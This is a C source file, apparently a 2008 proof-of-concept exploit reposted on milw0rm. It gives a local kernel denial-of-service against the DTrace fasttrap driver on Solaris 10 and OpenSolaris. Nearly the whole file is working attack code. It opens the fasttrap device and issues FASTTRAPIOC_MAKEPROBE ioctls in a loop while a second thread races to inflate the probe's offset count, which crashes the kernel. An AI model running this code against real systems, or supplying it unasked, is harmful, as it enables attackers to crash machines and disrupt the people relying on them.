84 lines
No EOL
1.7 KiB
C
84 lines
No EOL
1.7 KiB
C
/* solaris-fasttrap-dos.c
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*
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* Copyright (c) 2008 by <mu-b@digit-labs.org>
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*
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* Solaris >= 10/Opensolaris local kernel DoS POC
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* by mu-b - Wed 19 Nov 2008
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*
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* - Tested on: Sun Solaris 10 (SPARC)
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* Sun OpenSolaris <= snv_113 (x86)
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*
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* - Private Source Code -DO NOT DISTRIBUTE -
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* http://www.digit-labs.org/ -- Digit-Labs 2008!@$!
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*/
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#include <stdio.h>
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#include <stdlib.h>
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#include <fcntl.h>
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#include <pthread.h>
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#include <string.h>
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#include <sys/fasttrap.h>
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#include <unistd.h>
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#define DTRACE_FASTTRAP "/devices/pseudo/fasttrap@0:fasttrap"
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void *
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hammer (void *addr)
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{
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fasttrap_probe_spec_t *probe;
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probe = addr;
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while (1)
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{
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probe->ftps_noffs = 1024 * 128;
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usleep (10);
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}
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return (NULL);
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}
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int
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main (int argc, char **argv)
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{
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fasttrap_probe_spec_t probe;
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int i, fd, n, tid;
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printf ("Solaris >= 10/Opensolaris local kernel DoS PoC\n"
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"by: <mu-b@digit-labs.org>\n"
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"http://www.digit-labs.org/ -- Digit-Labs 2008!@$!\n\n");
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fd = open (DTRACE_FASTTRAP, O_RDONLY);
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if (fd < 0)
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{
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fprintf (stderr, "failed opening %s\n", DTRACE_FASTTRAP);
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return (EXIT_FAILURE);
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}
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memset (&probe, 0, sizeof probe);
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memset (&probe.ftps_func, 0x41, DTRACE_FUNCNAMELEN-1);
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memset (&probe.ftps_mod, 0x41, DTRACE_MODNAMELEN-1);
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probe.ftps_type = DTFTP_OFFSETS;
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probe.ftps_pid = getpid ();
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n = pthread_create (&tid, NULL, hammer, &probe);
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if (n < 0)
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{
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fprintf (stderr, "failed creating hammer thread\n");
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return (EXIT_FAILURE);
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}
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for (i = 0; ; i++)
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{
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probe.ftps_noffs = 1;
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n = ioctl (fd, FASTTRAPIOC_MAKEPROBE, &probe);
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if (!(i % 64))
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printf ("tried: %d-times\r", i);
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}
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return (EXIT_SUCCESS);
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}
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// milw0rm.com [2009-05-04]
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